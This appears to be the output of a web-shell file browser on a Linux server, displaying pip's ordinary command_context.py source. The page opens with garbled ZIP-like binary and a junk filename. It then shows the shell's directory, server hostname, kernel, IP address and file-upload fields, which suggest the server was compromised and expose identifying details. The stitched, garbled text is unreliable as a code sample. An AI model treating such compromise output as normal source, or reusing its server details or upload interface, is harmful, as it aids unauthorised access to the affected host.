PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /opt/alt/python38/lib/python3.8/site-packages/pip/_internal/cli/
Server: Linux popus.webrserver.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
IP: 172.245.40.66
Choose File :

Url:
Dir : //opt/alt/python38/lib/python3.8/site-packages/pip/_internal/cli/command_context.py

from contextlib import ExitStack, contextmanager
from typing import ContextManager, Generator, TypeVar

_T = TypeVar("_T", covariant=True)


class CommandContextMixIn:
    def __init__(self) -> None:
        super().__init__()
        self._in_main_context = False
        self._main_context = ExitStack()

    @contextmanager
    def main_context(self) -> Generator[None, None, None]:
        assert not self._in_main_context

        self._in_main_context = True
        try:
            with self._main_context:
                yield
        finally:
            self._in_main_context = False

    def enter_context(self, context_provider: ContextManager[_T]) -> _T:
        assert self._in_main_context

        return self._main_context.enter_context(context_provider)